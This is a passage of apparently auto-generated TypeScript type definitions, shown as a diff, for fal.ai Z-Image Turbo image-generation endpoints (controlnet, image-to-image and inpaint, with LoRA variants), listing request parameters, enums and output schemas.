[{"width":1024,"height":768,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/z-image-turbo-output.png"}] + * @type array + */ + images: ImageFile07Ac95A7[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSizeE6B1A132 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiZImageTurboControlnetPreprocess = { + none: 'none', + canny: 'canny', + depth: 'depth', + pose: 'pose', +} as const + +export type InputFalAiZImageTurboControlnetPreprocessKey = + (typeof inputFalAiZImageTurboControlnetPreprocess)[keyof typeof inputFalAiZImageTurboControlnetPreprocess] + +export const inputFalAiZImageTurboControlnetOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageTurboControlnetOutputFormatEnumKey = + (typeof inputFalAiZImageTurboControlnetOutputFormatEnum)[keyof typeof inputFalAiZImageTurboControlnetOutputFormatEnum] + +export const inputFalAiZImageTurboControlnetAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageTurboControlnetAccelerationEnumKey = + (typeof inputFalAiZImageTurboControlnetAccelerationEnum)[keyof typeof inputFalAiZImageTurboControlnetAccelerationEnum] + +export const inputFalAiZImageTurboControlnetImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputFalAiZImageTurboControlnetImageSizeKey = + (typeof inputFalAiZImageTurboControlnetImageSize)[keyof typeof inputFalAiZImageTurboControlnetImageSize] + +export type InputFalAiZImageTurboControlnet = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of Image for ControlNet generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/z-image-turbo-controlnet-input.jpg + * @type string + */ + image_url: string + /** + * @description Whether to enable prompt expansion. Note: this will increase the price by 0.0025 credits per request. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description What kind of preprocessing to apply to the image, if any. + * @default none + * @example none + */ + preprocess?: InputFalAiZImageTurboControlnetPreprocessKey | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageTurboControlnetOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageTurboControlnetAccelerationEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + * @default auto + */ + image_size?: ImageSizeE6B1A132 | InputFalAiZImageTurboControlnetImageSizeKey + /** + * @description The end of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + control_end?: number + /** + * @description The start of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + control_start?: number + /** + * @description The prompt to generate an image from. + * @example A single leopard, its spotted golden coat detailed with black rosettes, cautiously peeks its head through dense green foliage. The leopard’s eyes are alert and focused forward, ears perked, whiskers slightly visible. The bushes consist of thick, leafy shrubs with varying shades of green, some leaves partially obscuring the leopard’s muzzle and forehead. Soft natural daylight filters through the canopy above, casting dappled shadows across the animal’s fur and surrounding leaves. The composition is a medium close-up, centered on the leopard’s head emerging from the undergrowth, with shallow depth of field blurring the background vegetation. + * @type string + */ + prompt: string + /** + * @description The scale of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + control_scale?: number +} + +export type ImageFileBc03265A = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageTurboControlnet = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":1536,"height":1024,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/z-image-turbo-controlnet-output.jpg"}] + * @type array + */ + images: ImageFileBc03265A[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +/** + * @description LoRA weight configuration. + * @type object + */ +export type LoRAInputD7434B62 = { + /** + * @description URL, HuggingFace repo ID (owner/repo) to lora weights. + * @type string + */ + path: string + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSize27C18266 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiZImageTurboControlnetLoraPreprocess = { + none: 'none', + canny: 'canny', + depth: 'depth', + pose: 'pose', +} as const + +export type InputFalAiZImageTurboControlnetLoraPreprocessKey = + (typeof inputFalAiZImageTurboControlnetLoraPreprocess)[keyof typeof inputFalAiZImageTurboControlnetLoraPreprocess] + +export const inputFalAiZImageTurboControlnetLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageTurboControlnetLoraOutputFormatEnumKey = + (typeof inputFalAiZImageTurboControlnetLoraOutputFormatEnum)[keyof typeof inputFalAiZImageTurboControlnetLoraOutputFormatEnum] + +export const inputFalAiZImageTurboControlnetLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageTurboControlnetLoraAccelerationEnumKey = + (typeof inputFalAiZImageTurboControlnetLoraAccelerationEnum)[keyof typeof inputFalAiZImageTurboControlnetLoraAccelerationEnum] + +export const inputFalAiZImageTurboControlnetLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputFalAiZImageTurboControlnetLoraImageSizeKey = + (typeof inputFalAiZImageTurboControlnetLoraImageSize)[keyof typeof inputFalAiZImageTurboControlnetLoraImageSize] + +export type InputFalAiZImageTurboControlnetLora = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of Image for ControlNet generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/z-image-turbo-controlnet-input.jpg + * @type string + */ + image_url: string + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInputD7434B62[] + /** + * @description Whether to enable prompt expansion. Note: this will increase the price by 0.0025 credits per request. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description What kind of preprocessing to apply to the image, if any. + * @default none + * @example none + */ + preprocess?: InputFalAiZImageTurboControlnetLoraPreprocessKey | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageTurboControlnetLoraOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageTurboControlnetLoraAccelerationEnumKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + * @default auto + */ + image_size?: + | ImageSize27C18266 + | InputFalAiZImageTurboControlnetLoraImageSizeKey + /** + * @description The end of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + control_end?: number + /** + * @description The start of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + control_start?: number + /** + * @description The prompt to generate an image from. + * @example A single leopard, its spotted golden coat detailed with black rosettes, cautiously peeks its head through dense green foliage. The leopard’s eyes are alert and focused forward, ears perked, whiskers slightly visible. The bushes consist of thick, leafy shrubs with varying shades of green, some leaves partially obscuring the leopard’s muzzle and forehead. Soft natural daylight filters through the canopy above, casting dappled shadows across the animal’s fur and surrounding leaves. The composition is a medium close-up, centered on the leopard’s head emerging from the undergrowth, with shallow depth of field blurring the background vegetation. + * @type string + */ + prompt: string + /** + * @description The scale of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + control_scale?: number +} + +export type ImageFile0F274F95 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageTurboControlnetLora = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":1536,"height":1024,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/z-image-turbo-controlnet-output.jpg"}] + * @type array + */ + images: ImageFile0F274F95[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize5D14F183 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiZImageTurboImageToImageAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageTurboImageToImageAccelerationEnumKey = + (typeof inputFalAiZImageTurboImageToImageAccelerationEnum)[keyof typeof inputFalAiZImageTurboImageToImageAccelerationEnum] + +export const inputFalAiZImageTurboImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputFalAiZImageTurboImageToImageImageSizeKey = + (typeof inputFalAiZImageTurboImageToImageImageSize)[keyof typeof inputFalAiZImageTurboImageToImageImageSize] + +export const inputFalAiZImageTurboImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageTurboImageToImageOutputFormatEnumKey = + (typeof inputFalAiZImageTurboImageToImageOutputFormatEnum)[keyof typeof inputFalAiZImageTurboImageToImageOutputFormatEnum] + +export type InputFalAiZImageTurboImageToImage = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageTurboImageToImageAccelerationEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of Image for Image-to-Image generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/z-image-turbo-i2i-input.png + * @type string + */ + image_url: string + /** + * @description The strength of the image-to-image conditioning. + * @maximum 1 + * @default 0.6 + * @type number | undefined + */ + strength?: number + /** + * @description The size of the generated image. + * @default auto + */ + image_size?: ImageSize5D14F183 | InputFalAiZImageTurboImageToImageImageSizeKey + /** + * @description Whether to enable prompt expansion. Note: this will increase the price by 0.0025 credits per request. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example A young Asian woman with long, vibrant purple hair stands on a sunlit sandy beach, posing confidently with her left hand resting on her hip. She gazes directly at the camera with a neutral expression. A sleek black ribbon bow is tied neatly on the right side of her head, just above her ear. She wears a flowing white cotton dress with a fitted bodice and a flared skirt that reaches mid-calf, slightly lifted by a gentle sea breeze. The beach behind her features fine, pale golden sand with subtle footprints, leading to calm turquoise waves under a clear blue sky with soft, wispy clouds. The lighting is natural daylight, casting soft shadows to her left, indicating late afternoon sun. The horizon line is visible in the background, with a faint silhouette of distant dunes. Her skin tone is fair with a natural glow, and her facial features are delicately defined. The composition is centered on her figure, framed from mid-thigh up, with shallow depth of field blurring the distant waves slightly. + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageTurboImageToImageOutputFormatEnumKey +} + +export type ImageFileD8C492Cb = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageTurboImageToImage = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":992,"height":1728,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/z-image-turbo-i2i-output.png"}] + * @type array + */ + images: ImageFileD8C492Cb[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +/** + * @description LoRA weight configuration. + * @type object + */ +export type LoRAInput187D8971 = { + /** + * @description URL, HuggingFace repo ID (owner/repo) to lora weights. + * @type string + */ + path: string + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSizeBf976425 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiZImageTurboImageToImageLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageTurboImageToImageLoraAccelerationEnumKey = + (typeof inputFalAiZImageTurboImageToImageLoraAccelerationEnum)[keyof typeof inputFalAiZImageTurboImageToImageLoraAccelerationEnum] + +export const inputFalAiZImageTurboImageToImageLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputFalAiZImageTurboImageToImageLoraImageSizeKey = + (typeof inputFalAiZImageTurboImageToImageLoraImageSize)[keyof typeof inputFalAiZImageTurboImageToImageLoraImageSize] + +export const inputFalAiZImageTurboImageToImageLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageTurboImageToImageLoraOutputFormatEnumKey = + (typeof inputFalAiZImageTurboImageToImageLoraOutputFormatEnum)[keyof typeof inputFalAiZImageTurboImageToImageLoraOutputFormatEnum] + +export type InputFalAiZImageTurboImageToImageLora = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageTurboImageToImageLoraAccelerationEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of Image for Image-to-Image generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/z-image-turbo-i2i-input.png + * @type string + */ + image_url: string + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput187D8971[] + /** + * @description The strength of the image-to-image conditioning. + * @maximum 1 + * @default 0.6 + * @type number | undefined + */ + strength?: number + /** + * @description The size of the generated image. + * @default auto + */ + image_size?: + | ImageSizeBf976425 + | InputFalAiZImageTurboImageToImageLoraImageSizeKey + /** + * @description Whether to enable prompt expansion. Note: this will increase the price by 0.0025 credits per request. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example A young Asian woman with long, vibrant purple hair stands on a sunlit sandy beach, posing confidently with her left hand resting on her hip. She gazes directly at the camera with a neutral expression. A sleek black ribbon bow is tied neatly on the right side of her head, just above her ear. She wears a flowing white cotton dress with a fitted bodice and a flared skirt that reaches mid-calf, slightly lifted by a gentle sea breeze. The beach behind her features fine, pale golden sand with subtle footprints, leading to calm turquoise waves under a clear blue sky with soft, wispy clouds. The lighting is natural daylight, casting soft shadows to her left, indicating late afternoon sun. The horizon line is visible in the background, with a faint silhouette of distant dunes. Her skin tone is fair with a natural glow, and her facial features are delicately defined. The composition is centered on her figure, framed from mid-thigh up, with shallow depth of field blurring the distant waves slightly. + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageTurboImageToImageLoraOutputFormatEnumKey +} + +export type ImageFile0Ac51Fe6 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageTurboImageToImageLora = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":992,"height":1728,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/z-image-turbo-i2i-output.png"}] + * @type array + */ + images: ImageFile0Ac51Fe6[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type ImageSize4F74A4F9 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiZImageTurboInpaintOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageTurboInpaintOutputFormatEnumKey = + (typeof inputFalAiZImageTurboInpaintOutputFormatEnum)[keyof typeof inputFalAiZImageTurboInpaintOutputFormatEnum] + +export const inputFalAiZImageTurboInpaintAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageTurboInpaintAccelerationEnumKey = + (typeof inputFalAiZImageTurboInpaintAccelerationEnum)[keyof typeof inputFalAiZImageTurboInpaintAccelerationEnum] + +export const inputFalAiZImageTurboInpaintImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputFalAiZImageTurboInpaintImageSizeKey = + (typeof inputFalAiZImageTurboInpaintImageSize)[keyof typeof inputFalAiZImageTurboInpaintImageSize] + +export type InputFalAiZImageTurboInpaint = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of Image for Inpaint generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/inpaint-input.jpg + * @type string + */ + image_url: string + /** + * @description The strength of the inpaint conditioning. + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number + /** + * @description Whether to enable prompt expansion. Note: this will increase the price by 0.0025 credits per request. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageTurboInpaintOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageTurboInpaintAccelerationEnumKey + /** + * @description URL of Mask for Inpaint generation. + * @example https://storage.googleapis.com/falserverless/whls/z-image-inpaint-mask.jpg + * @type string + */ + mask_image_url: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + * @default auto + */ + image_size?: ImageSize4F74A4F9 | InputFalAiZImageTurboInpaintImageSizeKey + /** + * @description The end of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.8 + * @type number | undefined + */ + control_end?: number + /** + * @description The start of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + control_start?: number + /** + * @description The prompt to generate an image from. + * @example A young Asian woman with long, vibrant purple hair stands on a sunlit sandy beach, posing confidently with her left hand resting on her hip. She gazes directly at the camera with a neutral expression. A sleek black ribbon bow is tied neatly on the right side of her head, just above her ear. She wears a flowing white cotton dress with a fitted bodice and a flared skirt that reaches mid-calf, slightly lifted by a gentle sea breeze. The beach behind her features fine, pale golden sand with subtle footprints, leading to calm turquoise waves under a clear blue sky with soft, wispy clouds. The lighting is natural daylight, casting soft shadows to her left, indicating late afternoon sun. The horizon line is visible in the background, with a faint silhouette of distant dunes. Her skin tone is fair with a natural glow, and her facial features are delicately defined. The composition is centered on her figure, framed from mid-thigh up, with shallow depth of field blurring the distant waves slightly. + * @type string + */ + prompt: string + /** + * @description The scale of the controlnet conditioning. + * @minimum 0 + * @maximum 1 + * @default 0.75 + * @type number | undefined + */ + control_scale?: number +} + +export type ImageFileE434F941 = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiZImageTurboInpaint = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated image files info. + * @example [{"width":512,"height":888,"content_type":"image/png","url":"https://storage.googleapis.com/falserverless/example_outputs/z-image-inpaint-output.png"}] + * @type array + */ + images: ImageFileE434F941[] + /** + * @description The timings of the generation process. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description Seed of the generated Image. It will be the same value of the one passed in the input or the randomly generated that was used in case none was passed. + * @type integer + */ + seed: number + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +/** + * @description LoRA weight configuration. + * @type object + */ +export type LoRAInput21A65155 = { + /** + * @description URL, HuggingFace repo ID (owner/repo) to lora weights. + * @type string + */ + path: string + /** + * @description Scale factor for LoRA application (0.0 to 4.0). + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number +} + +export type ImageSize0A742D09 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiZImageTurboInpaintLoraOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiZImageTurboInpaintLoraOutputFormatEnumKey = + (typeof inputFalAiZImageTurboInpaintLoraOutputFormatEnum)[keyof typeof inputFalAiZImageTurboInpaintLoraOutputFormatEnum] + +export const inputFalAiZImageTurboInpaintLoraAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiZImageTurboInpaintLoraAccelerationEnumKey = + (typeof inputFalAiZImageTurboInpaintLoraAccelerationEnum)[keyof typeof inputFalAiZImageTurboInpaintLoraAccelerationEnum] + +export const inputFalAiZImageTurboInpaintLoraImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto: 'auto', +} as const + +export type InputFalAiZImageTurboInpaintLoraImageSizeKey = + (typeof inputFalAiZImageTurboInpaintLoraImageSize)[keyof typeof inputFalAiZImageTurboInpaintLoraImageSize] + +export type InputFalAiZImageTurboInpaintLora = { + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description URL of Image for Inpaint generation. + * @example https://storage.googleapis.com/falserverless/example_inputs/inpaint-input.jpg + * @type string + */ + image_url: string + /** + * @description List of LoRA weights to apply (maximum 3). + * @default [] + * @type array | undefined + */ + loras?: LoRAInput21A65155[] + /** + * @description The strength of the inpaint conditioning. + * @maximum 1 + * @default 1 + * @type number | undefined + */ + strength?: number + /** + * @description Whether to enable prompt expansion. Note: this will increase the price by 0.0025 credits per request. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiZImageTurboInpaintLoraOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The acceleration level to use. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiZImageTurboInpaintLoraAccelerationEnumKey + /** + * @description URL of Mask for Inpaint generation. + * @example https://storage.googleapis.com/falserverless/whls/z-image-inpaint-mask.jpg + * @type string + */ + mask_image_url: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 8 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The size of the generated image. + * @default auto + */ + 